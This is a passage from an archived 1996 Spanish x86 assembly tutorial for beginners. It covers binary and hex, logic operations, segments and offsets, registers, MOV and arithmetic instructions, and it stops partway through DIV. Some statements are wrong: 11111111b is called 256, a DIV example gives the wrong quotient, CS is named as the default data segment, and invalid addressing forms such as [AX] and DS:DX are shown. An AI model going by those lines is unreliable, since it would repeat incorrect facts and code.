home *** CD-ROM | disk | FTP | other *** search
/ CD Actual 9 / CDACTUAL9.iso / share / Dos / VARIOS / cursoasm / CURSOASM.TXT next >
Encoding:
Text File  |  1996-09-01  |  98.5 KB  |  2,448 lines

  1.  WinΓΣτmuΓΣ presenta,...
  2.                                  ██░
  3.      ████░                     █████░        ██             ████░
  4.     ██░ ██░                   ██░  ██░      ██░            ██░
  5.    ██░   █░           ███░██░ ██░   █░  ██████░             ██░
  6.    ██░      ██░ ██░  ██░███░  ██░      ██░ ████              ██░   █████░
  7.    ██░      ██░ ██░     ██░    █████░  ██░██░██            █████░ ██░  ██░
  8.    ██░      ██░ ██░     ██░        ██░ ████░ ██           ██░ ██░ ███████░
  9.    ██░   █░ ██░ ██░     ██░   █░   ██░  ██████░           ██░ ██░ ██░
  10.     ██░ ██░ ██░ ██░     ██░   ██░  ██░  ██░               ██░ ██░ ██░  ██░
  11.      ████░   ███░██░    ██░    █████░  ██░                 ████░   █████░
  12.                               ██░
  13.  
  14.                            █░     █████░  ██░  ██░
  15.                           ███░   ██░  ██░ ███░███░
  16.                          ██░██░  ██░  ██░ ███████░
  17.                         ██░  ██░  ██░     ███████░
  18.                         ██░  ██░   ███░   ██░█░██░
  19.                         ███████░     ██░  ██░  ██░
  20.                         ██░  ██░ ██░  ██░ ██░  ██░
  21.                         ██░  ██░  █████░  ██░  ██░
  22.  
  23.  
  24.      ╒═══════════════════════════════════════════════════════════╕
  25.      ╘╕                    Curso de ensamblador                 ╒╛
  26.       ╘════════════════╦══════════════════════════╦═════════════╛
  27.                        ║ Pablo Barrón Ballesteros ║
  28.                        ╚══════════════════════════╝
  29.  
  30.     Redactado el verano de 1996 en Madrid, España, para la bbs Edison's
  31.  Temple, y presentado en ese tiempo en las áreas de correo de ésta...
  32.  pisando mi modestia, he recibido muchos agradecimientos y dicen que está
  33.  muy majo, así que si tenéis el disco duro lleno de tutoriales de Asm en
  34.  inglés de los que no tenéis ni papa,... se os acabó la suerte amigos, a
  35.  aprender !!
  36.  
  37. ------------------------------------------------------------------------------
  38.   ┌────────┐
  39.   │ INDICE │
  40.   └────────┘
  41.  
  42.         1.- Sistemas númericos
  43.  
  44.         2.- Operaciones con bytes
  45.             2.1.- AND
  46.             2.2.- OR
  47.             2.3.- XOR
  48.             2.4.- NOT
  49.  
  50.         3.- El juego de registros
  51.  
  52.         4.- ¡¡¡ Comenzamos !!!
  53.  
  54.         5.- Operacines
  55.             5.1.- INC y DEC
  56.             5.2.- ADD y SUB
  57.             5.3.- NEG y NOT
  58.             5.4.- MUL y DIV
  59.  
  60.         6.- Flags
  61.             6.1.- Instrucciones de comparación (CMP y TEST)
  62.  
  63.         7.- Las instrucciones de salto
  64.             7.1.- Saltos incondicionales
  65.             7.2.- Saltos condicionales
  66.             7.3.- Bucles
  67.  
  68.         8.- La pila
  69.             8.1.- La orden CALL
  70.  
  71.         9.- Interrupciones
  72.  
  73.         10.- Resto de órdenes
  74.             10.1.- XCHG
  75.             10.2.- LEA
  76.             10.3.- LDS y LES
  77.             10.4.- DELAYs
  78.             10.5.- Instrucciones de cadena
  79.             10.6.- Datos
  80.             10.7.- Acceso a puertos I/O
  81.             10.8.- Anulación de interrupciones
  82.  
  83.         11.- Estructura COM
  84.  
  85.         12.- Estructura EXE
  86.  
  87.         13.- Apéndice A: Juego de instrucciones
  88.  
  89.         14.- Apéndice B: Numeración negativa
  90.  
  91.         15.- Agradecimientos y dedicatorias
  92.  
  93. ------------------------------------------------------------------------------
  94.  
  95.  
  96.  
  97.                          ┌──────────────────────┐
  98.                          │  Sistemas numéricos  │
  99.                          └──────────────────────┘
  100.  
  101.     Comencemos por los sistemas de numeración que más utilizaremos al
  102.  programar.
  103.  
  104.     El básico va a ser el sistema hexadecimal, aunque debemos de explicar
  105.  antes el binario, el sistema de numeración que utiliza el ordenador.
  106.  
  107.     Los números que conocemos están escritos en base 10. Esto significa que
  108.  tenemos, desde el 0 hasta el 9, diez símbolos para representar cada cifra.
  109.  Es decir, cada cifra irá de 0 a 9, y al superar el valor "9", cambiará a
  110.  0 y sumará uno a su cifra de la izquierda:  9+1: 10  .
  111.     El sistema binario utiliza tan sólo dos símbolos, el "0" y el "1".
  112.  Imaginemos que tenemos el número binario "0". Al sumarle una unidad,
  113.  éste número binario cambiará a "1". Sin embargo, si volvemos a añadirle
  114.  otra unidad, éste número en formato binario será el "10" ( aumenta la
  115.  cifra a la izquierda, que era 0, y la anterior toma el valor mínimo ).
  116.  Sumemos ahora otra unidad: el aspecto del número será "11" ( tres en
  117.  decimal ). Y podríamos seguir:
  118.  
  119. Binario: 0 ; 1 ; 10 ; 11 ; 100 ; 101 ; 110; 111 ; 1000 ; 1001 ; 1010,...
  120. Decimal: 0   1    2    3    4     5     6    7      8      9     10
  121.  
  122.     Esto nos permite establecer un sistema bastante sencillo de conversión
  123.   del binario al decimal;
  124.  
  125.     He aquí los valores siendo n el valor de la cifra:
  126.  
  127.     Cifra menos significativa:
  128.  
  129.            n*2^0 =    1 si n=1 o 0 si n=0
  130.  
  131.     Segunda cifra:
  132.  
  133.            n*2^1 =    2 si n=1 o 0 si n=0
  134.  
  135.     Tercera cifra:
  136.  
  137.            n*2^2 =    4 si n=1 o 0 si n=0
  138.  
  139.     Cuarta cifra:
  140.  
  141.            n*2^3 =    8 si n=1 o 0 si n=0
  142.  
  143.     Etc,...
  144.  
  145.     Y así continuaríamos, aumentando el número al que se eleva 2. Traduzcamos
  146.  entonces el número binario '10110111'
  147.  
  148.    2^7+ 0 +2^5+2^4+ 0 +2^2+2^1+2^0  = 128 + 0 + 32 + 16 + 4 + 2 + 1 = 183
  149.     1   0   1   1   0   1   1   1
  150.  
  151.     De todos modos, ésta transformación la he puesto símplemente para que se
  152.  comprenda con más claridad cómo funcionan los números binarios. Es mucho
  153.  más aconsejable el uso de una calculadora científica que permita realizar
  154.  conversiones entre decimales, hexadecimales y binarios. Se hace su uso
  155.  ya casi imprescindible al programar.
  156.  
  157.     La razón del uso de los números binarios es sencilla. Es lo que entiende
  158.  el ordenador, ya que interpreta diferencias de voltaje como activado ( 1 )
  159.  o desactivado ( 0 ), aunque no detallaré ésto. Cada byte de información está
  160.  compuesto por ocho dígitos binarios, y a cada cifra se le llama bit. El
  161.  número utilizado en el ejemplo, el 10110111, sería un byte, y cada una de
  162.  sus ocho cifras, un bit.
  163.  
  164.     Y a partir de ahora, cuando escriba un número binario, lo haré con la
  165.  notación usual, con una "b" al final del número ( ej: 10010101b )
  166.  
  167.     Ahora me paso al hexadecimal, muy utilizado en ensamblador. Se trata de
  168.  un sistema de numeración en base dieciséis. Por tanto, hay dieciséis
  169.  símbolos para cada cifra, y en vez de inventarse para ello nuevos símbolos,
  170.  se decidió adoptar las primeras letras del abecedario. Por lo tanto,
  171.  tendremos ahora:
  172.  
  173.   Hex   Dec
  174.  
  175.    1 --> 1
  176.    2 --> 2
  177.    3 --> 3
  178.    4 --> 4
  179.    5 --> 5
  180.    6 --> 6
  181.    7 --> 7
  182.    8 --> 8
  183.    9 --> 9
  184.    A --> 10
  185.    B --> 11
  186.    C --> 12
  187.    D --> 13
  188.    E --> 14
  189.    F --> 15
  190.    10 --> 16
  191.    11 --> 17
  192.    Etc,...
  193.  
  194.     Como vemos, éste sistema nos planteas bastantes problemas para la
  195.  conversión. Repito lo dicho, una calculadora científica nos será casi
  196.  imprescindible para ésto.
  197.  
  198.     ¿ Por qué utilizar éste sistema ? Bien sencillo. Volvamos al byte, y
  199.  traduzcamos su valor más alto, "11111111". Resulta ser 256. Ahora pasemos
  200.  ésta cifra al sistema hexadecimal, y nos resultará "FF". Obtenemos un
  201.  número más comprensible que el binario ( difícil de recordar ), y ante todo
  202.  mucho más compacto, en el que dos cifras nos representarán cada byte.
  203.     Podremos además traducir fácilmente el binario a hexadecimal con ésta
  204.  tabla; cada cuatro cifras binarias pueden traducirse al hexadecimal:
  205.  
  206.             ╔═══════════════════╦══════════════════╗
  207.             ║     Binario       ║    Hexadecimal   ║
  208.             ╚═══════════════════╬══════════════════╝
  209.                    0000         ║         0
  210.                    0001         ║         1
  211.                    0010         ║         2
  212.                    0011         ║         3
  213.                    0100         ║         4
  214.                    0101         ║         5
  215.                    0110         ║         6
  216.                    0111         ║         7
  217.                    1000         ║         8
  218.                    1001         ║         9
  219.                    1010         ║         A
  220.                    1011         ║         B
  221.                    1100         ║         C
  222.                    1101         ║         D
  223.                    1110         ║         E
  224.                    1111         ║         F
  225.  
  226.  
  227.     Por ejemplo, el número binario:
  228.  
  229.     1111001110101110
  230.  
  231.     En hexadecimal sería:
  232.  
  233.     1111 0011 1010 1110
  234.  
  235.       F    3    A    E
  236.  
  237.     Para referirnos a un número hexadecimal sin especificarlo, usaremos la
  238.  notación que se suele usar al programar, con un 0 al principio ( necesario
  239.  cuando hay letras ) y una h al final, por ejemplo, el número anterior sería
  240.  0F3AEh
  241.  
  242.  
  243.  
  244.  
  245.                         ┌───────────────────────────┐
  246.                         │   Operaciones con bytes   │
  247.                         └───────────────────────────┘
  248.  
  249.     Hay cuatro operaciones básicas que se pueden realizar con un número
  250.  binario, y coinciden con operaciones de la lógica matemática, con lo que
  251.  cualquiera que la haya estudiado tendrá cierta ventaja para entenderla.
  252.  
  253.     Para explicarlas, llamaré al valor 0 resultado "falso", y al valor 1
  254.  "verdadero". Las operaciones son AND, OR, XOR y NOT
  255.  
  256.  
  257.        AND:
  258.        ---
  259.  
  260.     Es un 'y' lógico. Se realiza entre dos cifras binarias confrontando cada
  261.  cifra con su correspondiente, y el resultado será "1" si las dos son
  262.  verdaderas ( si las dos valen "1" ), y "0" ( falso ) en el resto de los
  263.  casos.
  264.  
  265.                                     AND
  266.  
  267.                   1.numero  2.numero  Resultado
  268.  
  269.                      1          1         1
  270.                      1          0         0
  271.                      0          1         0
  272.                      0          0         0
  273.  
  274.     Vuelvo a la lógica para explicarlo más claramente: Imaginemos la frase:
  275.  "El hombre es un mamífero y camina erguido". El hecho de que el hombre sea
  276.  un mamífero es cierto ( 1 ), y el de que camine erguido, otro ( 1 ). Por
  277.  lo tanto, al unirlos mediante una conjunción ( 'y' o 'AND' ), resulta que
  278.  ya que se dan las dos, la oración es verdadera.
  279.     Pongamos un ejemplo más complejos, queremos realizar un AND lógico entre
  280.  dos bytes:
  281.  
  282.                 11011000 AND 01101001
  283.  
  284.        Observemos lo que sucede:
  285.  
  286.                     11011000                                        216
  287.            AND      01101001      En sistema decimal sería:  AND    105
  288.                     --------      (aunque en sistema decimal        ---
  289.                     01001000       es más lioso)                     72
  290.  
  291.        Cuando coinciden dos valores de "verdad", el resultado es "verdad",
  292.    si uno es falso, el resultado es "falso" ( no es verdad que "El hombre
  293.    es un mamífero y respira debajo del agua" ), y si los dos son falsos, el
  294.    resultado es falso ( no es cierto que "El hombre es un ave y respira
  295.    debajo del agua" )
  296.  
  297.  
  298.        OR
  299.        --
  300.  
  301.     El "o" lógico. El resultado es "verdadero" cuando al menos uno de los
  302.  factores es verdadero. O sea, es "1" cuando al menos uno de los dos factores
  303.  es "1".
  304.     Sería como la frase "Voy a buscar el peine o la caja de condones", donde
  305.  que uno sea cierto no significa que el otro no lo sea; es cierta la frase,
  306.  es verdadera mientras uno de los términos sean verdaderos.
  307.     Operemos con los números "10100110" y "01101100":
  308.  
  309.                         10100110
  310.                    OR   01101100
  311.                         --------
  312.                         11101110
  313.  
  314.     Como hemos visto, el valor 1 ( verdadero ) queda en las cifras de las
  315.  que, confrontadas, al menos una es verdadera. Sólo resulta 0 ( falso ) si
  316.  los dos números enfrentados son 0 ( falsos ).
  317.  
  318.  
  319.       XOR
  320.       ---
  321.  
  322.     "Or" exclusivo. Se trata de una orden parecida al OR, tan sólo que
  323.  la verdad de una excluye la de la otra. El resultado, por tanto, es "1"
  324.  ( verdad ) cuando uno y sólo uno de los dos números es verdadero ( y el
  325.  otro falso, claro ). Sería como la oración "O vivo o estoy muerto", para
  326.  que sea cierta se tiene que dar una de las dos, pero nunca las dos o
  327.  ninguna.
  328.  
  329.                         10111001
  330.                   XOR   01011101
  331.                         --------
  332.                         11100100
  333.  
  334.     La orden XOR va a ser bastante útil en encriptación, pero eso ya es otra
  335.  historia,...
  336.  
  337.  
  338.      NOT
  339.      ---
  340.  
  341.     Esto se aplica sobre un sólo número, y en términos de lógica sería la
  342.  negación de una oración, o sea, si el número al que se aplica es 1 el
  343.  resultado es 0, y viceversa. En términos de lógica matemática aplicándolo
  344.  a una oración, sería por ejemplo " No es verdad que tenga ganas de estudiar
  345.  y de no beber ", negando las otras dos que en caso contrario serían verdad:
  346.  
  347.                          NOT  11100110
  348.                               --------
  349.                               00011001
  350.  
  351.  
  352.  
  353.                       ┌───────────────────────┐
  354.                       │  Bytes, bits y demás  │
  355.                       └───────────────────────┘
  356.  
  357.     Tan sólo, por si alguien no lo conoce, quiero detallar el modo de
  358.  almacenamiento del ordenador, incluyendo lo más temido por el iniciado en
  359.  Ensamblador, y más engorroso para el programador, Segments y Offsets.
  360.  
  361.     La unidad mínima de información es el bit. Su estado, como vimos
  362.  anteriormente, puede ser 1 o 0.
  363.  
  364.     Un conjunto de ocho bits, forman un byte. De ellos, el de la derecha
  365.  es el menos significativo ( su valor es menor ), y el de más a la izquierda
  366.  el más significativo.
  367.  
  368.     Un Kbyte es un conjunto de 1024 ( que no 1000 ) bytes. Igualmente, un
  369.  MegaByte serán 1024 kbytes, o 1024*1024=1048576 bytes.
  370.  
  371.     Otro término que utilizaremos a menudo, es palabra, o "word". Una
  372.  "palabra", es un conjunto de dos bytes, y se utiliza por que a menudo se
  373.  opera con ellas en lugar de bytes.
  374.  
  375.     Y ahora, después de éstas cosillas, vamos con lo interesante,...
  376.  segments y offsets:
  377.  
  378.     Resulta que hubo un tiempo, cuando los dinosaurios dominaban la tierra,
  379.  en el que a "alguien" se le ocurrió que con 640K debería de bastarnos para
  380.  hacerlo todo. Y bien, por aquí vienen los problemas ( y voy a intentar
  381.  explicarlo lo más mundanamente posible )
  382.  
  383.     El ancho de bus de direcciones, para localizar un punto en memoria, es
  384.  de 20 bits. Por lo tanto, el número máximo de direcciones de memoria a las
  385.  que podremos acceder será 1 Mb. Pero como veremos, 20 bits no son ni 2 bytes
  386.  ni 3, sino así como 2 y medio %-). El problema es ordenarlos para que el
  387.  procesador conozca la dirección de memoria, y aquí llegan las cosillas,...
  388.  
  389.     Necesitaremos para conocer una posición de memoria pues cuatro bytes
  390.  combinados de una curiosa manera.
  391.  
  392.     Imaginemos los dos bytes inferiores. Su mayor valor puede ser 0FFFFh
  393.  ( poner un cero delante es una convención, para que lo entiendan los
  394.  ensambladores, al igual que la h al final indicando que es un número
  395.  hexadecimal ). Esto nos da acceso a 64Kb de memoria, que se considera un
  396.  bloque. También, a partir de ahora, llamaremos Offset a la dirección
  397.  indicada por éstos dos bytes.
  398.  
  399.     Ahora querremos más memoria que 64 Kb, claro. Y para eso tenemos los
  400.  otros dos bytes. Para formar la dirección completa, se toman los 16 bits
  401.  del registro de segmento y se situan en los 16 bits superiores de la
  402.  dirección de 20 bits, dejando los otros cuatro a cero. Vamos, como si
  403.  añadiésemos cuatro ceros a la derecha. Sumamos entonces a éste valor de
  404.  20 bits el Offset, resultando la dirección real de memoria
  405.  
  406.     Voy a dar una explicación más gráfica, porque creo que no me voy a
  407.  enterar ni yo:
  408.  
  409.     Sea el valor de Segmento ( parezco un libro de matemáticas, j*der XD )
  410.  0Ah ( o sea, 10 decimal o 1010b, binario ). Y el del Offset digamos que
  411.  va a valer ( en binario ) 01011111 00001010.
  412.  
  413.     La suma para obtener la dirección de memoria sería tal que así:
  414.  
  415.   0000 0000 0000 1010 0000    ( segmento multiplicado*16, con 4 ceros más )
  416.   +    0101 1111 0000 1010    ( el offset )
  417.   ------------------------
  418.   0000 0101 1111 1010 1010
  419.  
  420.     Y ésta sería la dirección *real* de memoria ( 05FAAh o 24490 Dec ). Como
  421.  podréis observar, y como curiosidad final, distintos segments y offsets
  422.  especifican direcciones de memoria distintas; por ejemplo, los pares
  423.  0040h:0000 ( donde el primero es el Segment y el segundo el Offset, así
  424.  lo tomaremos a partir de ahora ), son iguales que 0000:0400h, y los dos
  425.  se referirían a la misma posición de memoria física, la 0400h o 1024d
  426.  
  427.     Espero que haya quedado claro, aunque sea símplemente tener una ligera
  428.  idea. Lo próximo serán los registros, y ( y ahora me pongo como los del
  429.  Pcmanía cuando hablan de Windoze95 ) podremos empezar en serio con nuestro
  430.  lenguaje favorito X-)
  431.  
  432.  
  433.  
  434.  
  435.                          ┌─────────────────────────┐
  436.                          │  El juego de registros  │
  437.                          └─────────────────────────┘
  438.  
  439.     Quizá alguno de vosotros se esté preguntando a éstas alturas: ¿ Y eso
  440.  del Segment y Offset, dónde se guarda, que indica al ordenador esos sitios
  441.  en memoria, qué indica al ordenador en qué punto de la memoria está y qué
  442.  tiene que ejecutar ? Pues bien, para ésto y mucho más sirven los registros.
  443.  
  444.     Se trata de una serie de "variables", que contienen información que
  445.  puede ser cambiada.
  446.  
  447.     Comenzaré, al contrario que todos los libros, por los de segmento y
  448.  offset actual: CS e IP.
  449.  
  450.     El registro CS es una variable de un tamaño de dos bytes. Contiene el
  451.  Segmento actual en que se encuentra el programa. IP, es la variable, de
  452.  dos bytes también, que contiene el Offset actual. Ésto significa, el
  453.  ordenador va interpretando las secuencias de bytes, pero necesita "algo"
  454.  que le indique donde tiene que leer. La combinación CS:IP ( tal y como
  455.  me referí antes en lo de Segments&Offsets ) contiene la dirección en la
  456.  que el ordenador está interpretando información *en el momento*. O sea,
  457.  indica la dirección de la próxima instrucción que se va a ejecutar.
  458.  
  459.     El registro DS y el registro ES también sirven para guardar direcciones
  460.  de Segmentos, y también son variables de dos bytes, serán utilizados para
  461.  por ejemplo mover datos en memoria, imprimir cadenas, bueno, un etcétera
  462.  larguísimo. Digamos que son "punteros", que apuntan a cierta zona de
  463.  memoria ( siempre combinado con otro que haga de Offset, claro ).
  464.  
  465.     El registro SS apunta a la pila, y el SP es el que contiene el offset
  466.  de la pila, pero ésto lo explicaré más adelante.
  467.  
  468.     Luego tenemos una serie de registros que utilizaremos más comunmente:
  469.  AX, BX, CX y DX.
  470.  
  471.     Todas ocupan dos bytes, y se pueden utilizar divididas en dos partes de
  472.  longitud un byte, cambiando de nombre. AX se divide en AH y AL, BX en
  473.  BH y BL, CX en CH y CL y DX en DH y DL. La 'H' se refiere a High en inglés,
  474.  alto ( de mayor valor ), y la 'l' a  Low ( de menor valor ). Lo ilustro un
  475.  poquillo:
  476.  
  477.             AX
  478.      |-------------|
  479.    11010110    10111000
  480.       AH          AL
  481.  
  482.     Las funciones de éstos cuatro registros son diferentes: AX se suele
  483.  utilizar como propósito general, indica función a las interrupciones, etc,
  484.  y es el más flexible, ya que será el único que permita multiplicaciones
  485.  y divisiones. Se denomina a veces acumulador.
  486.     BX nos servirá mucho como "handler", para abrir/cerrar archivos, etc, y
  487.  como registro de propósito general al igual que AX, CX y DX
  488.     CX se suele usar como contador.
  489.     DX suele ser el puntero, señalando haciendo el papel de Offset lugares
  490.  en memoria ( suele combinarse con DS en la forma DS:DX )
  491.  
  492.     Y nos quedan ya sólo tres registros, BP, SI y DI, que son también
  493.  punteros. SI y DI los utilizaremos a menudo para copiar bytes de un lado
  494.  a otro, etc. Ni que decir que, como el resto de registros, contienen dos
  495.  bytes. Igual sucede con BP, de otros dos bytes de tamaño.
  496.  
  497.  
  498.  
  499.  
  500.                          ┌────────────────────────┐
  501.                          │   ¡¡¡ COMENZAMOS !!!   │
  502.                          └────────────────────────┘
  503.  
  504.     Por fin vamos a empezar con órdenes en ensamblador. Y comenzaremos con
  505.  la más sencilla, pero curiosamente la más utilizada en éste lenguaje:
  506.  
  507.     La orden MOV.
  508.     ─────────────
  509.  
  510.     La función de la orden MOV es, como su nombre da a entender, "mover" un
  511.  valor. Pongamos un ejemplo:
  512.  
  513.     MOV AX,BX
  514.  
  515.     Esta órden en lenguaje ensamblador, copiará el contenido de BX en AX,
  516.  conservando el valor de BX. He aquí algún ejemplo más:
  517.  
  518.     MOV AX,DS
  519.     MOV ES,AX
  520.     MOV DX,AX
  521.     MOV AL,DH
  522.  
  523.     Como se vé, no se puede realizar MOV AL,BX, ya que en AL no cabe BX
  524.  ( sencillo, no ;) )
  525.     También se puede introducir un valor diréctamente en un registro. Sería
  526.  el caso de:
  527.  
  528.     MOV AX,0FEA2h
  529.     MOV BL,255
  530.     MOV DH,01110101b
  531.  
  532.     Así de paso pongo ejemplos de como se utiliza la numeración. El primero
  533.  era un número hexadecimal, el segundo decimal ( que no va acompañado por
  534.  nada para indicarlo ), y el tercero binario ( con la b al final ). A veces
  535.  para representar un número decimal se pone una 'd' al final ( p.ej, 10d )
  536.  
  537.     Más utilidades de MOV. Podemos transferir bytes que estén en memoria
  538.  a un registro, o de un registro a memoria. Vayamos con los ejemplos:
  539.  
  540.     MOV AX,[BX]
  541.  
  542.     Y pongamos que en BX está 0EEEEh. En vez de transferir a AX el valor
  543.  0EEEEh, le transferiremos el valor que haya en la posición de memoria
  544.  CS:BX, si CS por ejemplo vale 0134h y BX 03215h, transferiríamos el byte
  545.  que hay en 0134:03215h y el siguiente a AX.
  546.  
  547.     Se puede hacer también al revés;
  548.  
  549.     MOV [AX],CX
  550.  
  551.     Escribiríamos en la dirección de memoria CS:AX el valor de CX.
  552.     Y también podremos usar valores númericos:
  553.  
  554.     MOV AX,[2325h]    ( lo que hay en CS:2325h )
  555.     MOV AX,DS:[2325h] ( el valor en DS:2325h )
  556.     MOV AX,DS:DX      ( el valor en DS:DX )
  557.     MOV DX,CS:CX      ( a DX, valor en CS:CX )
  558.     MOV BX,CS:1241h   ( a BX, valor en CS:1241h )
  559.  
  560.     Muchas veces, se utiliza Word Ptr o Byte Ptr, que aclaran el tamaño a
  561.  transferir:
  562.  
  563.     MOV AL,BYTE PTR [BX+SI-30h]
  564.     MOV AX,WORD PTR [BX+DI]
  565.  
  566.     Como acabamos de ver, es posible hacer "sumas" de valores al buscar
  567.  una dirección en memoria. Otros ejemplos serían:
  568.  
  569.     MOV AX,[BX+3]
  570.     MOV [BP+SI],AH
  571.  
  572.  
  573.     Y para acabar ésta lección, aquí tenéis una tablilla de ejemplos sacada
  574.  de un libro sobre MOVs que se pueden hacer:
  575.  
  576.   ╓───────────────────────────────────╥───────────────────────────────╖
  577.   ║ Formatos de la instrucción MOV    ║     Ejemplos                  ║
  578.   ╟───────────────────────────────────╫───────────────────────────────╢
  579.   ║ MOV reg,reg                       ║     MOV AX,BX                 ║
  580.   ║ MOV mem,reg                       ║     MOV [BX],AL               ║
  581.   ║ MOV reg,mem                       ║     MOV CH,[40FFh]            ║
  582.   ║ MOM mem,inmed                     ║     MOV BYTE PTR [DI],0       ║
  583.   ║ MOV reg,inmed                     ║     MOV BX,0FFFFh             ║
  584.   ║ MOV segreg,reg16                  ║     MOV DS,AX                 ║
  585.   ║ MOV mem,segreg                    ║     MOV [SI],ES               ║
  586.   ║ MOV segreg,mem                    ║     MOV SS,[1234h]            ║
  587.   ╙───────────────────────────────────╨───────────────────────────────╜
  588.     reg: registro           mem:memoria         inmed:número inmediato
  589.     segreg: registro de segmento            reg16: registro de 16 bits
  590.  
  591.  
  592.     Y vista la orden MOV, seguimos adelante,... sencillo, no ? ;)
  593.  
  594.  
  595.  
  596.                             ┌───────────────┐
  597.                             │  Operaciones  │
  598.                             └───────────────┘
  599.  
  600.     Las instrucciones INC y DEC:
  601.  
  602.     Son las más básicas a la hora de hacer operaciones con registros: INC,
  603.  incrementa el valor de un registro ( o bueno, de cualquier posición en
  604.  memoria ) en una unidad, y DEC lo decrementa. Veamos:
  605.  
  606.     INC AX
  607.  
  608.     Incrementa en uno el valor de AX
  609.  
  610.     INC WORD PTR [BX+4]
  611.  
  612.     Incrementa la palabra situada en CS:[BX+4] en uno.
  613.  
  614.     DEC AX
  615.  
  616.     Decrementa AX, le resta uno.
  617.  
  618.     DEC WORD PTR [BX+4]
  619.  
  620.     Decrementa la palabra situada en CS:[BX+4] en una unidad.
  621.  
  622.     Estas dos instrucciones, equivalentes a por ejemplo a "a++" en C, nos
  623.  servirán bastante como contadores ( para bucles ).
  624.  
  625.  
  626.  
  627.     Las instrucciones ADD y SUB
  628.     ───────────────────────────
  629.  
  630.     Se trata de dos operadores que contiene cualquier lenguaje de
  631.  programación: la suma y la resta. Tienen dos operandos, uno de destino y
  632.  otro fuente. Para la suma, se suman los dos operandos y se almacena en
  633.  el primero (destino), y para la resta, se resta al primero el segundo,
  634.  almacenándose en destino, el primero. Aquí están algunos formatos de éstas
  635.  instrucciones:
  636.  
  637.     ADD AX,BX               ; Sumaría AX y BX y lo guardaría en AX
  638.     ADD [AX],BX             ; Suma el contenido de la dirección de AX a BX,
  639.                             ;y se almacena en la dirección de AX
  640.     ADD AX,[BX]             ; Se suman AX y el contenido de la dirección de
  641.                             ;BX, y se almacena ésta suma en AX
  642.     ADD AX,3                ; Lo mismo pero utilizando un valor inmediato
  643.                             ;en vez de la BX señalada anteriormente.
  644.     SUB CL,DL               ; Resta de CL el valor de DL, y se almacena en CL
  645.     SUB [CX],DX             ; Se resta al contenido de la dirección de CX
  646.                             ;el valor de DX, y se almacena en la dir. de CX
  647.     SUB CX,23h              ; Se resta de CX el valor 23h, y queda en CX el
  648.                             ;resultado
  649.  
  650.     Os habréis dado cuenta de una cosa, ¿ y si el resultado excede lo que
  651.  puede contener el byte, o la palabra ?. Ésto se puede saber mediante los
  652.  flags, que trataremos más adelante.
  653.  
  654.     También os habréis fijado en que separé con ; los comentarios. Bien,
  655.  ésta es la manera en ensamblador de poner comentarios, como sería en Basic
  656.  la órden "REM", o en C la convención "/* [...] */"
  657.  
  658.  
  659.     NEG, NOT y operaciones lógicas
  660.     ──────────────────────────────
  661.  
  662.     Neg, pone el registro o el lugar al que apunta en memoria en negativo
  663.  según la aritmética de complemento a dos tal que : NEG AX o NEG [AX]
  664.  
  665.     Not es la que, como vimos, "invierte" los valores de los bits. Y el
  666.  resto de operaciones lógicas también las vimos anteriormente. Pondré ahora
  667.  tan sólo su sintaxis:
  668.  
  669.     NOT SI                      ; (o Not AX, etc,... o sea, con un registro)
  670.     NOT Word ptr es:[ax]        ; Lo realiza sobre la palabra ( 2 bytes )
  671.                                 ;que se encuentra en es:[ax]
  672.     AND AX,BX                   ; Efectúa un AND entre AX y BX, almacenando
  673.                                 ;el resultado en AX ( siempre en el primer
  674.                                 ;término )
  675.     AND [AX],BX                 ; Lo dicho, pero AX apunta a un lugar de
  676.                                 ;memoria
  677.     AND AX,[BX]
  678.     AND Byte ptr [15],3         ; Un AND en la dirección :0015 con lo que
  679.                                 ;haya ahí y el valor "3"
  680.     OR  AX,BX
  681.     OR  [AX],BX
  682.     OR  Byte ptr [15],3
  683.     OR  DH,55h                  ;También podría hacerse en el AND, se
  684.                                 ;confrontan DH y 55h en un OR.
  685.  
  686.                Y todo lo dicho para OR y AND vale para XOR, de tal manera
  687.              que las operaciones son realizables entre:
  688.  
  689.              Registro y registro                  CX,DX
  690.              Lugar de memoria y registro          [DX],BX
  691.              Registro y lugar de memoria          AX,[SI]
  692.              Lugar de memoria y número            word ptr ES:[AX],0D533h
  693.              Registro y número                    AX,0CD32h
  694.  
  695.  
  696.     Multiplicación y división, MUL y DIV
  697.     ───────────────────────────────────-
  698.  
  699.     Las pasaré algo rápido, ya que para nuestros objetivos no tienen una
  700.  necesariedad excesiva, al menos a corto plazo.
  701.  
  702.     Estas operaciones multiplican al acumulador por el operando indicado.
  703.  Si el operando es de 8 bits ( 1 byte ), el acumulador es AL. Si el
  704.  operando es de 16 bits, el acumulador es AX. El resultado se almacena
  705.  en AX o en el par DX-AX respectivamente, si el operando es de 8 bits o
  706.  16 bits.
  707.  
  708.     También tendremos que diferenciar entre dos tipos de multiplicaciones
  709.  y divisiones que entiende el procesador. Los que comienzan con una I
  710.  operan con números con signo ( ésto es, si queremos usar números negativos
  711.  y tal ), y los que no, con números sin signo.
  712.  
  713.     Visto ésto, podremos decir que:
  714.  
  715.     MUL Byte Ptr [CX]
  716.  
  717.       Va a multiplicar el byte que hay en la dirección que marca CX por el
  718.  contenido que hay en AL, y una vez hecho ésto, va a almacenarlo en AX.
  719.  
  720.     MUL SI
  721.  
  722.       Multiplicaría SI por el contenido de AX, almacenándose en el par AX-DX.
  723.  La palabra superior ( de más valor ), se devolvería en DX, y la inferior
  724.  en AX.
  725.  
  726.     IMUL SI
  727.  
  728.       Esto y el ejemplo anterior sería lo mismo, sólo que operando con
  729.  números con signo.
  730.  
  731.  
  732.     Para la división, el dividendo ha de estar en AX ( y ser 16 bits por
  733.  tanto ). El divisor se indica en el operando, por ejemplo en DIV BL, éste
  734.  divisor estaría en BL. Se dividiría AX entre BL y el resultado quedaría en
  735.  AL, quedando el resto en AH. Vamos a ver algún ejemplo que os veo muy
  736.  perdidos:
  737.  
  738.     En la división de un número de dieciséis bits entre otro de 8 bits, el
  739.  cociente y resto serán de 8 bits ( 1 byte ). El dividendo ha de estar en AX,
  740.  y el divisor es el operando de la instrucción, que puede ser un registro o
  741.  un sitio en la memoria ( y se necesita poner lo de byte ptr )
  742.     O sea, sería tal que:
  743.     DIV CL          o       IDIV    BYTE  PTR ES:[BP]
  744.  
  745.     El resultado se devuelve en AL, y el resto en AH. Si por ejemplo AX
  746.  valiese 501d y cl valiese 2, a hacer el DIV CL, en AL quedaría 255 y en AH
  747.  quedaría 1.
  748.  
  749.     Se puede dividir también un número de 32 bits ( 4 bytes ) entre otro de
  750.  16 bits ( 2 bytes ), con lo que cociente y resto serían de 16 bits. El
  751.  dividendo estaría formado por el par DX/AX. Al hacer por ejemplo un:
  752.  
  753.     DIV SI
  754.  
